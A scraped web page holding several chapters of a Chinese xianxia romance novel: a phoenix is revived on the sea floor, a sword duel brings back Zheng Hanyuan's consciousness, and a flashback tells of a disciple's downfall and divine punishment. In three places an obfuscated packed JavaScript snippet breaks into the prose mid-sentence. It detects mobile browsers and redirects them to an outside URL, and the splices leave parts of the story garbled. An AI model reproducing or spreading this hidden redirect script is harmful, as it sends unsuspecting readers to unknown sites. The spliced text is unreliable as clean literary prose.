就像一棵巨大的树忽然生长起来一样,有东西破开土壤,让海底裂了道巨口,而它却缓缓展现于世人面前。 那是一副骨架。 而且是一个巨大的骨架。 因为当它的头颅出来时,站在它头颅之上的擎光已经离王心若数十米之高。 就像一个巨幅画卷缓缓展开,这巨大的骨骼也缓慢地从泥沙中生长而出,带着藏匿许久的古老的灰尘,随着海底的巨响,渐渐面世。 当它整个呈现在王心若面前时,擎光已高得不知所踪。 王心若目睹了全程,她只觉得世界上五百万年来最优秀的雕刻师若齐聚于海底,都无法雕出如此宏伟庞大、繁复精美而栩栩如生的骨架,这是无道荒海之底,不缤纷却最瑰丽的一件宝物。 那是只高昂着头颅,展翅欲飞、长羽垂尾的凤凰—— 凤凰的骨架。 百米之高,巍然傲世,它的姿态带着上古的威严和美丽。 遥远高处传来擎光压抑着欣喜的声音—— “上古无道凤凰意无忧,雌雄同体,道合阴阳,至纯至清。封存百万载,而今终能面世。” 凤凰……凤凰…… 凤凰藏世百万年,图纹式样遍布三界,三界有凤有凰,却无人知道这上古同体凤凰,书籍也无所记载,神君亦从未提起。 而今现于海底之下,怎不令人倍感激荡! 擎光自高处而下,与二人同观这凤凰之骨。 王心若思索道:“荒海海底砂,师叔方才寻得的那颗砂,是封印凤凰之物?” 擎光颔首。 她了悟,“凤凰浴火重生,所以要想凤凰真正活过来,才要取‘混沌无间火’。” 擎光笑了几声,“不愧是仪光首徒。” “那请师叔做法,让凤凰重生吧。” 擎光取出混沌无间火的红珠,结了法阵,一声“去!”后,红珠中倾泻出丝缕滚烫火焰,赤玄相映,极速飞往凤凰骨上。然而就在接触到骨的一瞬间,似遇无形屏障,这火光瞬间熄灭。 “嗯?”他疑惑,再次结阵动法,然而还是同样的结果。 任流光有些无语,“师叔……你能不能行。” 擎光拿回混沌无间火,“不应当啊……”忽然他想到什么,恍然大悟道:“我明白了,意无忧至纯至清,也只有至纯至清之体才能对它催动这回魂灵阵,而我……” 他察觉不对,闭口不言。 “还至纯至清……”任流光默默翻了白眼,“师叔,说白了就要清纯童子身才能结阵吧。” “嗯?” 任流光上前,拿过混沌无间火,叹了口气,“总之,你现在用郑师兄的身子,你不行,师姐……师姐也不行。” 擎光和王心若颇有默契,一个摸鼻子看了看地,一个捋了捋头发望起了天。 “你们不行,我行。”任流光掂了掂红珠,将它掷在半空,金色灵力相接,红珠涌出火焰,朝凤凰骨飞去。 这回,再无屏障阻隔,随着火焰缠绕上凤骨,整个无间火的红珠也似被吸引朝凤骨飞去,而后在飞到风骨中央的一刻,瞬间爆裂,围绕着凤凰骨的骨骸,燃成一片巨大无边的炽热火海。 王心若:“流光,原来你……惊鸿派创立许久,你……还是嗯,清纯童子身。” 惊!惊鸿派最纯情的竟然是它的始祖掌门。 任流光手下一顿,“……师姐,貌似现在这不是重点吧。” 一片烈烈火海中,凤凰之骨被烧得昳丽破碎,火焰愈来愈旺盛,把凤凰骨完全淹没,再看不清。 三人渐渐不语,静默着看着海底景象。 水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137564|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火交融,火光照耀幽暗,而那跳动的火焰逐渐勾勒出一个隐约的轮廓。 那轮廓有高傲优美的颈项凤冠,有霸气张扬的羽翅,有纤长华美的八瓣凤尾和飘翎。 在海底,三人听见了一声能穿破天地、跨越古今的高亢清鸣。 王心若曾听过许道淳的箫声,婉转动人,时人谓之凤鸣。自古而来皆说凤凰声似箫声,琴声箫声可以游龙引凤,然而她听许道淳的箫声大多低沉清幽、如临孤谷,方才的清鸣却更加清亮,似要划破海底直达天际,冲破一切阻隔。 清鸣过后,火焰燃烈,渐渐化成金色,却又缓缓变银,似无数露珠一样融进一片白光笼罩的凤凰体内。 成形的凤凰,通体显现出无暇的银白色,不染纤尘,在深渊海底透着海水观之,散发幽幽蓝光,仅有凤额、凤冠、翅尖、尾翎,有鲜红色繁复的纹路。 凤凰舒展翅膀和尾羽,又扬起一波海水。凤凰睁眸,白色长睫下是红宝石一样的眼眸,睥睨着四方,它的眼神冷漠淡泊,仿非世中之物。 高贵典雅、神圣不可侵犯的上古凤凰。 诸人看呆了。 高大的凤凰俯身曲颈,引发海水动荡,让人脚步微移,它望见海底三人,忽然微眯双眸。 那红宝石一样的眼眸既美丽又威严,被凤凰眸如此凝视,三人心底都有一丝发麻。 忽然,凤凰的眼神落在擎光身上。 不知为何,擎光感觉有丝不自在。 下一刻,凤凰居然开口了。 那声音说不上的奇怪,因为那是一个雄浑的男声和一个娇媚的女声合在一起的两道声音,随着凤凰开口同时响起—— “真晦气。” 擎光:? 凤凰一甩头,巨大的力量迸发,竟然把擎光瞬间击飞,消失地无影无踪。 王心若:啊……这…… 任流光:害怕。 神圣不可侵犯的凤凰? 如果他们没看错的话,凤凰的眼神竟然流露出一丝嫌弃。 把擎光击飞,凤凰又看向两人。 王心若和任流光忽然感到头皮发麻。 凤凰先凝着任流光看了一会,任流光快顶不住了它才叹道:“好一个纯情的小男孩,就是你召唤的我,我向来是个知恩图报的人,这根凤羽就送给你了。” 说罢,它从身上叼了根羽毛。 任流光诚惶诚恐地伸出手,从那银色泛着光华,比他手掌还大的凤凰羽毛中看到了无限商机,他赶忙道谢。 他抬眸望向凤凰,凤凰却已经把目光转移到王心若身上。 任流光感到王心若悄悄地不大留痕迹地往后挪了一步。 凤凰眯起眸子,沉默了片刻。 这片刻似乎很漫长…… 凤凰忽然垂下头靠近王心若,因它头太巨大,竟直接把王心若裹在重重羽毛中。 这个凤凰,居然状似亲密地在用头蹭她。 被一堆羽毛包围无法呼吸的王心若:“咳咳咳……” 凤凰很怜惜地开口:“阿崽,原来你都长这么大了……” 王心若咳嗽地更剧烈了。 83. 芳草歼红荣(2) 阿崽…… 王心若就是历劫再羸弱再幼小的时刻,都没有人用这么肉麻的称呼唤过她。 此刻,这个男女双声的大型禽类动物,正用它雪白的羽毛拼命蹭她,她感到生无可恋。 关键是这白凤凰颈项上的凤羽,掉毛。 漫天的细毛。 王心若有些无奈,她轻轻推了一下凤凰,道:“前辈……” 凤凰好像也发现它自己的羽毛快把王心若给淹没了,才依依不舍起身,整个身子飞速缩小,到最后只剩五米来长。那双红玉般的眸盯着眼前的白衣女子,一开口竟有些委屈道:“太久没出世了,羽毛长长了没有修剪。即便如此,阿崽也不能喊我前辈呀。” “呃……那我应该……?” 凤凰扑棱扑棱翅膀,绕她飞了一圈,“叫爹/娘!” 凤凰的男声和女声竟奇异地没有同步。 王心若:? 结果,这凤凰竟然自己和自己吵起来了。 “拜托,叫爹好吧?”“我说叫娘就是娘!”“你不讲理,凤凰凤凰凤在前。”“抠这种字眼有意思么?” 而这只高贵的、典雅的、上古凤凰,自从自我吵架开始就像中邪了一样用两只凤翅自我攻击起来,纷纷扬扬又是一堆雪白的细羽。 任流光喃道:“人不可貌相,凤凰也不可。” 上古滤镜碎了一地。 王心若上去‘劝架’,“呃,前辈,你不要再打了,请问方才那人被扇去哪里了?” 如果师叔知道师姐现在还能惦记已经被拍飞的自己,应该会痛哭流涕吧。任流光沉默地想着。 她开口了,凤凰自我碎碎念几句又恢复正常,“你说擎光那老不死的,我看见他就烦,他爱去哪儿去哪儿,阿崽,爹/娘带你们出去。” 王心若执着拂尘朝它行了一礼,“前辈,我有自己的名字,我叫王心若,不叫阿崽。” 要是被他人听到她被这么叫,她的颜面哪儿搁! 凤凰落在地上,“你怎么能叫王心若,你叫凤凰翎呀!” 说罢它转了个身,抖动了下自己的八根尾羽和飘翎,“你看,原本我有九根凤翎,路过瑶池时被那作死的擎光扯了根下来,掉进瑶池里,结果遇水生莲,成了‘凤凰翎’,就是你的原身。” 任流光像想起什么,他呀了一声,“是了是了,人间有种荷花就叫凤凰翎。凤凰翎极难自开,都说它们只有在凤凰飞过天际时,才会自行开放。” “人间都是假的,只有阿……阿若是真的凤凰翎!” 王心若看不懂凤凰此刻一脸骄傲的神情,她只是在意料之外得知了自己更深一层的身世。 她的心思并不纠缠这心思,却道:“前辈,你怎么知道方才那人是擎光师叔?他如今用的并非自己原身。” “不是原身?”凤凰疑惑道,思考片刻,“因为我眼中只见魂魄不见皮囊。” 凤凰的眼睛是天生的“照妖镜”。 凤凰又道:“阿崽……啊若,比如我看你,就是一朵雪白淡粉的凤凰翎莲花,这个纯情小男孩,就是一把金光闪闪的剑。皮囊嘛,都是假象,再说论皮囊,这世上哪有人比得过我呢~” 凤凰翎莲花·王心若尝试带入凤凰的视角,而后发现眼前场景变得无比诡异。 纯情小男孩·任流光的重点就有些不一样,“前辈,你是说你特别好看吧?” “那当然!”一阵灵力扰动,凤凰忽然化身带面纱的红衣人形,揭开面纱问任流光,“你说好不好看?” 任流光原本眼中只是好奇,看了那面纱下面容后直接呆愣,脑子一热,温热的血就从鼻中流出。 “好……” 刚说出一个字,任流光就倒下昏迷。 王心若还在思考着凤凰眼睛的事情,结果就看任流光倒下了,她一惊,“流光,你怎么了?” “不必担心,他只是看了我的容貌,受不住晕厥了,等会就醒。” “啊?” 凤凰忽然狡黠一笑,“阿若,你要不要看看爹/娘的脸。” “前辈定然极……” 咚—— 王心若晕倒在凤凰怀里。 “哎,真是不信邪的孩子们……” · 王心若悠悠转醒时,是在天上。 她赶忙起身,身下是银白如雪的凤羽,旁边任流光还在躺着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师姐弟数百年未见,纵是心魔,他的脸上也泛起欣喜和震惊。 他正上前时,凤凰却忽然暴起,一声高亢鸣叫之后,将那人生生吞了。 吞地彻彻底底,谁都没反应过来。 凤凰兀自道:“啊,这竹花真甜美,真好吃。” 它满足地俯视着它的道友们,却看见那三人呆若木鸡地站在原地。 84. 芳草歼红荣(3) “前辈……”最先反应过来的是任流光,他呆滞着颤着手指着凤凰,“你……你把你女儿的师弟的心魔吃了。” 王心若识海一片空白,她飞身上前,双手扶住凤喙,“前辈,张嘴。” 凤凰没反应过来,疑惑地啊了一声,她作势要飞进去,被擎光匆忙拉住,“世上只有神不怕凤凰体内的九重天火,你这么冲进去,下一刻就魂飞魄散。” 王心若望向他:“你是神,你不怕,你去。” “我现在不是原身。” “渡化、封印、诛灭,解决心魔这么多方法,为什么偏是应了这下下策。心魔强行诛灭,原身七情皆绝,法力大失。”王心若握紧了手中拂尘玉柄。 可话音落下后也沉默许久,突如其来的变故,她又能怪谁。 她对凤凰道:“前辈,你有办法把刚刚吃下去竹花吐出来吗?” 凤凰似乎意识到什么,呜了一声,敛眸垂颈,像一个做错事不敢承认的小孩。 哎……他哪知道那是什么阿若的师弟,他只知道那是朵美味的竹花,他已经好几百万年没吃过饭了,都快饿死了,怎么就吃出了大事。 这么想着,凤凰越缩越小,最后缩成了巴掌大小,绕着王心若和擎光飞了一圈,委屈巴巴地拖着垂下的八条凤凰翎落在任流光的肩头。 任流光感觉自己肩头越来越湿,他侧头看去,却看见小凤凰用凤翅捂着眼睛,水从羽毛空隙处源源不断渗出来,濡湿了他肩头。 任流光:…… 深感无奈,他只好象征性地摸了摸凤凰银绒绒的头,凤凰头因哭泣一抽一抽的,任流光只能更轻更柔。哄姑娘哄过,哄凤凰还是头一遭。 不过年纪和擎光一样大的老凤凰为什么会哭得这么委屈凄惨啊…… 王心若捏着玉柄,双眸闭了又闭,最终心平气和地落地,“前辈,我没有怪你,我们再寻法子就是。流光,你好好看护前辈,我和师叔去四周看看。” 甫一说完,她拉着擎光瞬间消失。 数里外的竹林,两道白衣身影凭空落地。 “我们来此作甚?”擎光疑惑。 “打架。”回应他是没什么情绪的冰冷字眼。 还没等他反应过来,银光乍现,极具压迫感的灵力带落摇落的翠叶直冲他面门而来。擎光赶忙避开,却难免被那翠叶划破耳下,带出一丝血痕。 擎光微惊,他抬眸望向那三米之外仙姿玉貌却面无表情的女子,拭去耳边血痕,“……你这算不算谋杀亲夫?” 未等来回应,下一道灵力倏然而至,擎光避而不接,那灵力直直打在地上炸裂开来,激起一阵狂风。 “师叔不与我战,是瞧不上心若这微薄术法。”她从背后抽出游日月,天光映照下长剑银光熠熠,爆发出一阵骇人战意。 擎光亦敛去笑意,“我为何要与你战?” “从前心有不顺时,都是含元陪我练剑。如今师叔占了其身,也履行履行职责吧。” 从前烦闷时,她从不靠言语宣泄,一般是寻个由头打一架。如今机会难得,也让她领教领教神的招式。 风起竹林,翠叶簌簌,美人云带绾发,素带青丝随风,手持银剑,玉立于前,只求一战。 擎光不再避战。 但见乌发高束的男子双手凝成一丝赤红火线,而后丝丝缕缕凝结成光束,照得翻飞的白袍烈焰如火,也照映俊秀眼眸泛着灿灿金光。在灼热的光焰中,一柄形制普通、剑身修长却无刃的黑柄长剑缓缓现世。 “师叔此剑是何剑?从前未见于载。” “我的本命剑,无疆。” 那剑若非由他凝成,放在兵器铺子里看都是一柄平平无奇的长剑。 “师叔被封印空明山,剑却能带出来么?” “无疆并非灵物,它的确只是一把普通凡剑,但它早就与我的灵识相合,形随心动,剑随意成。”擎光十分轻柔地拂过剑身。 执本命剑而战,是剑修对战最高的敬意。 “师叔,承让。”不再多言,王心若剑势起,皎洁银光如月色照临。 溯月萦光是云渚四大剑法中最美的剑法,无论是青天白云还是繁星墨夜,在它被四方诸天、二八星宿的剑意笼罩时,都如入了上古仙境一般,一时只闻得清冷温柔的月色在耳畔呢喃。 温柔的剑意随之而来的却是磅礴的剑气,擎光闭眸感知,无疆横于面前,似与来袭剑气缭绕几回,而后被擎光握住剑柄,斜插入地,竟无声无息将溯月萦光剑气悉数化解,化为微微的波澜在大地蔓延开。 从头至尾,无疆未显现丝毫剑意和剑气。 王心若眉头微凝,敛眸藏去一丝震惊和不甘后方抬眸望他,惑道:“止战之兵?” “亦可战。”擎光道。 他将长剑拔出,随手而出时,其貌不扬的剑身上却仿如暗渡流火,隐隐有纵春秋的影子。剑身裹挟飞叶而去,王心若执剑相挡,剑气相撞,铿然而鸣,似响在天边,又似在识海。 尽力抵挡,才不至于往后退步。可脚下微陷,已对那剑气之强明白几分。 战意被激起,王心若也不再收敛气息,当初对战扶光是何气势,如今也全拿出。天地至宝所出的游日月,遇上凡剑无疆,却只有漫天剑意相胜,其他竟未能压迫半分。 竹林本无风,却因剑气响。 银光流火里,她紧紧盯着他的一势一动,想将那招招式式都刻在识海里,企图从中发现微小的破绽,可每每顺势攻上后,都被那看似平凡的无疆挡了回去。 战意里,她并未因无法克敌而气馁,反而愈战愈烈,八方而来的灵力蕴蓄剑中又融汇体内,带来熟悉的灵力波动。 她扬起游日月,凝心屏息,阖眸片刻后似一片飞羽游云朝擎光飞去,劈剑而下,体内灵力顺势爆发,银光照耀无法窥见四周,只见二人纷扬的青丝交织而又掠过彼此面颊。 剑气相撞的片刻,擎光凝着她张开的眼眸,那姣好的轮廓,琉璃剔透般的瞳仁,如凤羽微扬的眼角,纤细密集的长睫,和眼下颊上一点红痣,清冷却滚烫,和无数个旧梦里的朦胧容颜重叠。 数百万年景象匆匆瞬逝,十世熟悉模样如走马观花飞掠,记忆滚滚而来,滔滔情海席卷,红衣白衣交替,万千风情尽有,一颦一笑入骨入髓,最终都归为眼前执剑,眉目清冷之人。 并非一生,亦超越十世,仿佛天地初生,便有此一人相守相伴。 “……师姐。” 莫名其妙的称呼,突如其来的开口。待想捕捉识海中另一道声音时,擎光遍寻识海却也未察觉出那道声音来自何处,原本那被压制在一角的灵魄消失的无影无踪。 而眼前人剑尖迸发的灵气层层涤荡,越来越强烈,竟在这随意而又肆意一战中突破了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137566|180306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天玄境。 仙君所在之天玄境,她又回归了! 无疆与游日月交锋中,王心若听见眼前人唤了一句师姐。 清冷的眉眼也染上了尘俗的颜色,微红而动容。她一时间未控制好爆发的灵力,想收回却有些匆忙,竟有些反噬,打乱她束好的发,亦震伤脏腑,喉头腥甜难忍,猩红血线从唇畔流出。 眼前的男子眸中亦染上慌乱,搂住她的腰轻柔落地,圈她在自己怀中。 游日月入鞘,她素手轻轻抚上他的脸颊,从下颌到耳廓,到眉眼。 同样的眉眼,可望她的眼神……那样的深情,不是擎光。 “……含元,你回来了吗?” 男子将她唇畔血痕拭去,又看见她清眸却泛起微红,竟是雨露渐凝,忽然落下,流过那点红痣。 男子沉默片刻,似是回神,他轻笑着将那滴泪拂去:“完了,怎么就把你弄哭了,我可不会哄人。” “是你吗?”她只问,泪却无法止住。所有的隐忍、委屈、孤独,都在确定他回来后一刻倾泻而出。她在所有人眼里都可以坚强,可面对他时,她能脆弱,能无助,能放下所有强大的心防。 他望她片刻,一只手揽住她的腰,“不是我又是谁呢?” “我很想你。”思念之语脱口而出,却似是从来没说过如此炽热的情话,话音一落,玉般的脸颊上便似火烧,可她并没有羞于把这些话继续说出口,“我很想很想你,含元。” “那见了我,怎么不笑一笑,却哭得这么厉害?”他微俯下身子,替她擦去泪水,凝着她的眼瞳道,“我都要恨我自己,让你流这么多泪了。” 王心若摇摇头,“我是高兴。” 他捏了捏她的脸颊,“若若好狠心,放我一人在鬼域寂寞了五百年,还被抓起来炼阵。” “含元,可你若在我身边,我就不想练剑了,对不起。” “不想练剑,那想干嘛?”他勾了勾她的下巴,有些恶劣地盯着她的眸,看她从耳垂到面颊都泛起薄红。 她有些语塞,推了推离得很近的他,作势要离去,却又被他揽着腰背靠上他的胸膛,垂首道:“我们赶紧回云渚,心魔陨落,恐真身有变。” 他从她背后抱着她不放手,笃定道:“有我在,不会有事。若若,你想不想我?” “我说过了,我很想你……” 他追问:“你想谁?” 声音愈发弱下去,“含元。” “谁想含元?” 她沉默半晌,还是乖顺道:“心若……想含元。” 几番对话下来,他看着她的耳廓和后颈早就红了一片。 他虔诚地吻了吻她耳下那片雪肤,在她耳边沉声道:“若若,从前你是遥远的天边雪莲,你我总是剑锋相对。后来你历劫,无论怎样,命运让你挂在天边也好,落在水中也好,跌落尘埃也罢……你都是我珍视的想一直呵护的雪莲,尽管你一直不属于我。可刚刚你为我哭得这么厉害,我才恍然,原来这样的雪莲,已经被我这个浑人攀折下来了。既然如此,这漫漫大道上还有什么值得害怕的事呢?” 他将她回转过来,而自己俯身,两唇相碰,以吻封缄。 “小师姐,别来无恙。” 我是谁都好,可原来蓦然回首,你不是转瞬而过的惊鸿,自始至终都是我甘之如饴的情劫和心动。 85. 芳草歼红荣(4) 第八十五章.芳草歼红荣(4) 但愿时光停留在此刻。 温存片刻,王心若问,“含元,你的神识回来了,那……擎光师叔又去哪里了?” 郑含元帮她理理鬓发,捡去发间竹叶,又将云带重新系回发上,才道:“他的神识被我压制住了,一时半会出不来。” “你被他压制许久,刚刚是如何夺回自己的身体的?” 郑含元笑着揉揉她的头,“你与他交战,灵力扰动极强,也就把我唤醒了,趁他神识皆凝于战意,我便趁势反客为主。” “可惜,届时仪光到来,还需他相助。以你我之力,还是太微薄。”她轻叹。 · “若若,不要担心,你所想的,一定都会实现。”他温声道。 王心若抬头,见那锐利俊美的眸中除了从前的肆意不羁外,更有一番深沉温柔,仿若无垠的深渊汪洋。 “我们回去吧,不知道那边怎么样了。”她拉着他的手,准备回去找任流光和凤凰。 郑含元颔首,道声好,又低头吻了她一下,二人才消失于此方竹林。 · 竹林下,一身金袍,玉簪束发、唇红齿白的娃娃脸男子正一脸无奈地捧着一只银身赤额的小凤凰,轻声细语地说些什么。 “前辈……师姐一定不会怪你的,你别哭了……” “呜呜呜,我只是太饿了……你也知道我只能看见灵魄,我不知道那是阿崽的师弟呜呜呜……我和阿崽才父/母女相认一日就生了这些事端,阿崽一定不喜欢我了……不然为什么她和擎光那老东西私奔了……呜呜呜……” “没有,不会的,师姐没有和师叔私奔,师姐只是去和师叔切磋切磋,友好交流而已。”方才那么大的灵力波动难道凤凰一点都没感知到么?任流光头疼不已。 他哄得已经有些麻木,忽然两道身影降临,他仿若看到大救星,解脱而欣喜道:“师姐,师叔,你们可回来……” 话音未落,他的目光落在二人握着的手上,表情有一瞬间凝固。 等下,打着打着怎么还把手牵上了?凤凰说的不会是真的吧,师姐和师叔私奔?那老郑怎么办? ——完了完了,老郑这是真的赔了夫人又折兵! 在他纠结的片刻,二人已经松开手,王心若走向前,“前辈,莫要再自责,我们一起去云渚栖月洞一趟,看看阿淳真身如何就是。” 凤凰闻言,一跳一跳回身,红宝石一样的眼盯着她,湿漉漉地像被泉水洗过一样,“阿崽,你真不怪我?” 忽略那还是纠正不过来的称呼,她点点头,“总有办法。” 准备出发时,众人皆易容换相,避免节外生枝,只有郑含元却换成了擎光的模样。 王心若微愣,“怎么是这样的?” “毕竟神识中另有一魂,下意识就变成这样了,若若介意么?” “无事。”她摇头,变谁都是变,天界不认识就行。 凤凰盯着那张脸倒是不悦,却也没多说,乖巧地从任流光肩上飞到王心若那儿,“阿崽,要爹/娘带你们上去吗?” 王心若想了一会拒绝了,“上古凤凰出世,尚不知这件事对上几重天的仙人震动多大,在此前还是谨慎些好。前辈,我们御剑而行,至云渚也不过半日。” 于是三人三剑,凭风而行,半日后,果然见一座如巨剑劈成的高山,耸立在飘渺云烟间。 这座山比瑶池更像她的家,山上草木皆熟悉无比。 然而那高高的云渚千级阶,今日却是无心闲赏,她一路直奔镜心崖栖月洞。路上遇见许多新面孔,与她相遇时皆以为是普通云渚弟子,互行道礼便散去。 想入镜心崖时,发生了件尴尬事。 心魔事出后,慕容修就在镜心崖周围下了禁制,以免他人擅闯。幻魔出世后,慕容修受袭而伤,休养多年才好,彼时王心若为解火莲禁制困于混沌界,他又得重新担待掌门法职,为了云渚上下安危,更是加强各崖防守法阵。 如今没有掌门和各崖主人的手谕,王心若便无法从女冠处明着进去,而慕容修的阵法禁制复杂难解,如果擅自解开或是硬闯难免惊动较广,又是不好。 左思右想,她道:“慕容掌门何在?小友可否帮我联络一二?” 女冠面露难色,“仙友,不巧了。今日是天界千年大选之日,掌门应盟主之约,已经去一重天临风台了,我等也不便用玉简打扰掌门。“ 王心若这才想起,她从未收徒,这大选只五百万年前去过一次,倒把这事忘了。 人间十年一试炼,诸多凡人成为修士,而千年以内修士能飞升入天的则少之又少,堪堪百余人。天界千年一大选,是对这百余名修士优中选优,再行培养。 这千年大选,向来是天界盛事,由仙盟主办,各方掌门齐聚,观仙门新秀争相斗法,收其中佼佼者传承本派道法。 对参与大选的修士而言,若能被哪一派护法、长老看上,就已经是三生有幸;若有特别亮眼的,被诸位仙君看上,简直是无上荣光。只不过各仙君都不大热衷收徒,大多是最早收过一两个徒弟后,便开始发展徒孙徒玄孙队伍了。 王心若还记得自己第一次也是唯一一次参与千年大选时,那次确实出了一位惊才绝艳的剑修弟子。 那个孩子年纪尚幼却天赋秉异,虽为凡身却临风台上剑破万军、一战成名。 十二岁的云腾境修士,人间试炼拜入云渚,绝招是凝霜落雪。 她的名字早就在岁月的冲刷里淡去,可王心若每每想起,还是会心如刀绞。 那个明净似雪的孩子,后来拜入云渚镜心崖下,成为许道淳的唯一弟子。 · 说起仙君之中最温柔的存在,天上的仙娥们,会想起赵玄檀和许道淳。 赵玄檀的温柔是万花丛中过,片叶都沾身的多情,哪怕一千年前为他掌灯的婢女,哭泣之时都能得他多情怜惜的抚慰。而许道淳的温柔是如水如玉,包容万相却众生平等的清润与平和。 昔日仪光曾言,返璞归真、大道至淳,因谓之“道淳”。 明雪成为许道淳首徒,是多少云渚弟子都艳羡的事情。 她人如其名,肤如白雪,明眸皓齿,容貌美丽,连柳宜均都愿意为她作画。 不仅如此,更于剑修上天赋极高,在当时的天界盛极一时。 凡人孤女出身,一朝顿悟,天资纵横,十三岁迈入云腾境,御风入天界,十六岁便道至地黄境成为仙人,那时盛传她是仙君以下剑道第一人,是云渚最惊才绝艳的一代天之骄子。 是故,初有弟子的仙君们都对她倾注许多心血栽培,许道淳尤甚。 明雪虽名雪,却不爱穿云渚道袍,经常一身淡黄绣裙,鬓边簪几朵棣棠花。她也不遵制执拂尘、佩长剑,而是把剑化作一根玲珑簪,斜斜插在发间。 在望去一片道袍拂尘、洁白如雪的云渚,明雪最不似雪。 怜她年幼,正是明媚鲜妍的年岁,又是极少数以凡身修成大道之仙,除了慕容修和吴秋行会责上几句,其余都未说过她,只让她在云渚重大要务时,务必谨慎。 或许也确实是他们对她太过纵容,她对诸仙君并不像其他弟子那边遵礼守制,为日后那件旧事埋下祸端。 那件旧事是神与仙破裂的最大转折,那之后,她身死道消、魂飞魄散;郑含元受神罚被逐出仙界;而擎光更是带领诸神离去。 起因不过一个情字。 明雪十三岁拜入镜心崖,朝夕共处,对师父许道淳渐生情愫,却被有心之人发现,以此相胁,明雪不肯,便三番四次恶计相逼,明雪也非逆来顺受之人,一怒之下剑杀了他。 可惜那人不是别人,是扶光最得意的弟子,再修炼几年,便可登临仙君之位;如此天资,却被一修仙凡女毁魂灭魄,这件事扰得整个天界震动。 明雪的天赋让许多人都艳羡甚至嫉恨,其中并不乏先天之仙,凡人弑仙,自然让一部分仙感到顾忌,再加上她行事并不循规蹈矩,这些原本“无伤大雅”之事此刻统统变为话柄,何况爱师之事确实违背纲常与无情道…… 天界的风向,也在默默中逐渐转风向。 漩涡之中,身为盟主,王心若几番周旋,加上明雪弑仙原就会有天罚,最终平衡各方非议,定了冰牢之刑,原本已尽最大可能保她魂魄无虞。 然而扶光插手,他表面同意,实际直接越过仙盟,私自惩处许道淳,又让门下弟子至冰牢对明雪动用私刑。结果就是许道淳百万年修行尽毁,昏迷不醒;而明雪经脉尽断,此生再与仙途无缘,不禁沦为废人,更是魂魄被毁,无法得入人道轮回。 明雪悲愤泣血,自绝而亡。 这件事对初任盟主的王心若无疑是巨大的打击,当明雪的残骸遗物交到她手上时,她怎能相信这是那个天资卓绝、冰雪聪明、总笑吟吟问她“盟主师叔,我今天的辫子扎的好不好看”的貌美小姑娘。 只是她没想到,郑含元动手比她快,也比她更狠,那个动用私刑的仙人,以同样的姿势成了残骸,而那些曾在冰牢里羞辱过明雪的弟子们,也都被废了修行。 她赶去时亲眼看见郑含元狠戾地把剑从最后一个弟子身上拔出,望向她说道:“师姐,我当这仙着实是当的腻烦。” 璀璨的宝石淬了血色。 王心若不语,把那弟子的记忆抹去,“你若想离开天界,就快走吧。” “那你……”郑含元那时刚要开口,便失去意识,被王心若送下界去。 多名弟子修行被毁,扶光之徒又身死,这些事情总要有人担下。所以在诸神之会上,她跪于朝华殿中,请辞仙盟盟主一职,把事情前因后果讲明,更请赐罪。 “你是有罪,身为盟主,在你治下,云渚天界一而再、再而三地出现这罪恶滔天之事,你和许道淳都难辞其咎!”扶光居高临下,指尖蓝蝶下一刻便穿过她的蝴蝶骨,在雪衣上绽开一片血花。 “不是!不是师姐杀的,是我!”第一个出来是傅钰,一张温纯白皙的脸此刻也是憋得双目通红,而后陆起、裴嘉……也都争着求情请罪。 诸师弟的话语除了加深扶光的震怒,无济于事,王心若不愿牵连他们,便对他们全施了禁言咒。 面对殿上高高在上的诸神,王心若忍痛道:“心若自知罪孽深重,请师叔惩罚,万般罪恶,归我一身。” 扶光冷笑,“王师侄,说出真凶,孤不罚你。” “真凶就是我,请师叔责罚。” 蓝蝶聚集,再次给予她钻心的疼痛。 “你以为孤分不清你的剑气么?说出来!” 一次次的逼问,一次次的承认,一次次的神罚,直到不屈的竹终也弯折似破碎的花,殿上主座的神君才说出一句“够了”。 扶光未解气,却也未驳他面子,只是不冷不热道:“师兄还是十分看重王师侄的,若师兄要包庇,孤无话可说。” 王心若强忍着不倒在殿上,却终于没忍住吐出一口鲜血,冷汗随着长睫的轮廓滑落眼旁,她抬眸望向殿上首座,那莲冠白衣、雪发金眸的神也在望着她。 那时的她面对仪光是万分愧疚自责的,还带着许多委屈。师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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后来,被她藏在下界的郑含元终是被带回天界,被钉在天罚柱上。 三十六根透骨长钉,曾在树下执剑饮酒的男子,不见潇洒不羁,只有被痛扭曲的眉头。一道暗红透骨的咒疤,更是永远屈辱地烙在面颊。身上的银纹白衣,被血湿透。 也许从那时开始,郑含元就不再喜欢这白色。 他爱自由,却被束缚在天罚柱,这样狼狈不堪的模样,落在了天界每个仙的眼中。 王心若望见仪光看郑含元时眼中的冷意,那时她关心则乱,还没有明白自己这步藏人的棋已是大错特错。 仪光看见郑含元身上,有她施法的痕迹。 